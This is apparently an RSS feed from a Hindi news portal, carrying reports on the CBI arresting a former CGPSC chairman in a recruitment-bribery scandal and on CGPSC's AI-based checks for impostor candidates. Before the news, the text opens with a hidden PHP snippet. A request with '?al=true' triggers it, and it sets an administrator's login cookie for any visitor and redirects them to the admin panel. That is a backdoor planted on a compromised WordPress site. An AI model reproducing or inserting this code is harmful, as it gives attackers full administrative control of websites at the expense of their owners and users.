// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); CGPSC – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 19 Nov 2024 13:06:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 सीबीआई की बड़ी कार्रवाई , CGPSC के पूर्व अध्यक्ष गिरफ्तार, 45 लाख रुपये ली थी रिश्वत https://pratyushaashakinayikiran.com/?p=100481 Tue, 19 Nov 2024 13:06:00 +0000 https://pratyushaashakinayikiran.com/?p=100481 रायपुर
छत्तीसगढ़ के रायपुर शहर सीबीआई ने सीजीपीएससी के तत्कालीन अध्यक्ष टामन सिंह सोनवानी और बजरंग पॉवर एंड इस्पात के डायरेक्टर श्रवण कुमार गोयल को गिरफ्तार किया है। पीएससी घोटाले में यह पहली गिरफ्तारी की गई है। गिरफ्तारी बजरंग इस्पात के डायरेक्टर पर अपने रिश्तेदार को नौकरी लगवाने के नाम पर 45 लाख रुपए रिश्वत देने के मामले में हुई है।

सीबीआई का ताबड़तोड़ एक्शन
 बताया जाता है कि राज्य सेवा परीक्षा के जरिए नौकरी लगाने के नाम पर लेनदेन हुई थी। जांच के दौरान इसकी पुष्टि होने पर बजरंग इस्पात के डायरेक्टर को गिरफ्तार किया गया है। बता दें कि विधानसभा चुनाव के दौरान आयोजित रैलियों में प्रधानमंत्री नरेंद्र मोदी ने इस मुद्दे को प्रमुखता से उठाते हुए पीएससी में हुए घोटाले पर कार्रवाई की गारंटी दी थी। जिसके बाद विष्णु देव साय ने मुख्यमंत्री बनते ही मामले की जांच सीबीआई से कराने के आदेश दिए।

सीबीआई सोमवार को प्रदेश में एक्शन मोड में दिखी। सीबीआई ने सीजीपीएससी के पूर्व चेयरमैन टामन सिंह सोनवानी और बजरंग पावर एंड इस्पात के डायरेक्टर श्रवण कुमार गोयल को पीएससी घोटाले में गिरफ्तार कर लिया। दूसरी ओर शराब घोटाले में आबकारी विभाग के विशेष सचिव एपी त्रिपाठी से सीबीाई की पूछताछ का रास्ता साफ हो गया है। वहीं कोरबा में सीबीआई की टीम ने श्रमिक नेता के घर आर्थिक गड़बड़ी के मामले में छापा मारा।

 ईओडब्ल्यू ने सीबीआई को सौंपी थी फाइल
पीएससी घोटाले में एफआईआर दर्ज करने के बाद ईओडब्ल्यू वर्ष 2019 से 2022 में आयोजित सीजीपीएस परीक्षा में अफसर, नेताओं तथा प्रभावशाली लोगों के 18 रिश्तेदार, परिजन तथा करीबियों से रिश्वत लेकर डिप्टी कलेक्टर, डीएसपी सहित अन्य पदों पर चयन करने के आरोप के बाद एफआईआर की थी। इसके अलावा सीजीपीएसी के एक प्रतिभागी ने बालोद, अर्जुंदा थाने में फरवरी में एफआईआर दर्ज कराई थी।

मिली अनुमति: एपी त्रिपाठी से होगी पूछताछ
रायपुर में सीबीआई 2000 करोड़ रुपए से ज्यादा के शराब घोटाले में आबकारी विभाग के विशेष सचिव एपी त्रिपाठी से पूछताछ करेगी। राज्य सरकार की अनुमति मिलने के बाद जल्दी ईडी और ईओडब्ल्यू के बाद सीबीआई भी एफआईआर दर्ज कर सकती है। साथी इस प्रकरण में बनाए गए अन्य आरोपियों को गिरफ्तार कर पूछताछ करने रिमांड पर लिया जा सकता है। बता दे कि आबकारी विभाग के विशेष सचिव रहे एपी त्रिपाठी के खिलाफ झारखंड में शराब घोटाला करने के अपराध दर्ज है। इस समय एपी त्रिपाठी को रायपुर से जगदलपुर जेल शिफ्ट किया गया है।

कोरबा: श्रमिक नेता के घर सीबीआई की रेड
सीबीआई की टीम ने कोरबा के हरदीबाजार और दीपका क्षेत्र में छापेमारी की। इंटक के जिलाध्यक्ष श्यामू (खुशाल जायसवाल) के निवास व दीपका के एक व्यवसायी राजेश जायसवाल के घर व दुकान में दबिश दी। उनके संपत्ति सहित आय के अन्य स्रोतों की जांच की। सीबीआई की यह कार्यवाही सुबह 6 बजे से शुरू हुई जो दोपहर बाद तक जारी रही। लेकिन सीबीआई ने इस मामले को लेकर दोनों ही स्थानों पर कई घंटे तक तलाशी ली और परिवार की आय और संपत्ति के स्रोत का पता लगाया।

मुआवजा वितरण में गड़बड़ी का मामला
बताया जाता है कि यह पूरा मामला एसईसीएल की दीपका खदान के लिए अधिग्रहित गांव सुआभोड़ी और मलगांव की जमीन अधिग्रहण के बाद मुआवजा वितरण से जुड़ा है। कई पात्र लोगों को अफसरों ने अलग-अलग कारणों का हवाला देकर अपात्र कर दिया है तो कई अपात्र लोगों को ज्यादा मुआवजा मिला है।

ये है विवाद

CGPSC 2019 से 2022 तक की भर्ती में कुछ अभ्यर्थियों के चयन को लेकर विवाद है। EOW और अर्जुंदा पुलिस ने भ्रष्टाचार-अनियमितता के आरोप में केस दर्ज किया है। PSC ने 2020 में 175 पदों पर और 2021 में 171 पदों पर परीक्षा ली थी। इन्हीं भर्तियों को लेकर ज्यादा विवाद है। आरोप है कि तत्कालीन चेयरमैन सोनवानी ने अपने रिश्तेदारों समेत कांग्रेसी नेता और ब्यूरोक्रेट्स के बच्चों की नौकरी लगवाई है।

171 पदों के लिए हुई थी भर्ती परीक्षा

CGPSC परीक्षा 2021 में 171 पदों के लिए भर्ती परीक्षा आयोजित की गई थी। प्री-एग्जाम 13 फरवरी 2022 को कराया गया। इसमें 2 हजार 565 पास हुए थे। इसके बाद 26, 27, 28 और 29 मई 2022 को हुई मेंस परीक्षा में 509 अभ्यर्थी पास हुए। इंटरव्यू के बाद 11 मई 2023 को 170 अभ्यर्थियों की सिलेक्शन लिस्ट जारी हुई।

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2021 में गड़बड़ियां सामने आने के बाद सीजीपीएससी ने की कसावट, आर्टिफिशियल इंटेलिजेंस से पकड़ेंगे फर्जी परीक्षार्थी https://pratyushaashakinayikiran.com/?p=75103 Wed, 25 Sep 2024 17:16:00 +0000 https://pratyushaashakinayikiran.com/?p=75103  रायपुर
 छत्तीसगढ़ लोक सेवा आयोग (सीजीपीएससी) अब फर्जी परीक्षार्थियों को पकड़ने के लिए आर्टिफिशियल इंटेलिजेंस (एआई) की मदद लेगा। परीक्षाओं में भ्रष्टाचार और गड़बड़ी रोकने के लिए आयोग ने एआई के उपयोग की व्यवस्था शुरू कर दी है।

इस प्रक्रिया में परीक्षा के दौरान लाइव वीडियो और फोटो के माध्यम से किसी अन्य की जगह परीक्षा देने वाले व्यक्ति को आसानी से पकड़ा जा सकेगा। परीक्षा केंद्रों में परीक्षार्थियों के प्रवेश पत्रों के क्यूआर कोड की स्कैनिंग और बायोमीट्रिक डिवाइस से परीक्षार्थियों का ऑनलाइन वेरिफिकेशन भी अनिवार्य कर दिया गया है।

16 केंद्रों में किया गया सफल प्रयोग

सीजीपीएससी की 2021 की परीक्षा में भाई-भतीजावाद के आरोप लगने के बाद पीएससी ने यह तरीका अपनाया है। इसका पहला प्रयोग परिवहन विभाग की उपनिरीक्षक भर्ती परीक्षा में एक सितंबर को 16 केंद्रों में किया जा चुका है, जो सफल रहा।

बता दें कि पूर्ववर्ती कांग्रेस सरकार में पीएससी के तत्कालीन अध्यक्ष टामन सिंह सोनवानी, सचिव जीवन किशोर ध्रुव समेत अन्य अधिकारियों के खिलाफ गड़बड़ी करने के आरोप में सीबीआई जांच चल रही है।

यूपीएससी की तरह पारदर्शी बनाएंगे

    सीजीपीएससी की परीक्षाओं को यूपीएससी की तरह ही पारदर्शी बनाएंगे। हमारी सरकार का यह उद्देश्य है कि यह व्यवस्था पूरी तरह से निष्पक्ष हो। इस दिशा में हम काम कर रहे हैं। -विजय शर्मा, उपमुख्यमंत्री व मंत्री, तकनीकी शिक्षा।

परीक्षा में ऐसे काम करेगी एआई तकनीक

एआई आधारित तकनीक से उपस्थित अभ्यर्थी की परीक्षा कक्ष में खींची गई तस्वीर और अभ्यर्थी द्वारा ऑनलाइन आवेदन के समय अपलोड की गई तस्वीर का 102 बिंदुओं को आधार बनाकर मिलान किया जाएगा।

इस दौरान अपलोड दोनों तस्वीरों में अंतर मिलने पर परीक्षा कक्ष में खींची गई तस्वीर का देशभर में पूर्व में आयोजित परीक्षाओं में शामिल लगभग पांच लाख अभ्यर्थियों की तस्वीर से मिलान करने की व्यवस्था है। इसके अलावा आधार प्रमाणीकरण की व्यवस्था भी लागू कर दी गई है।

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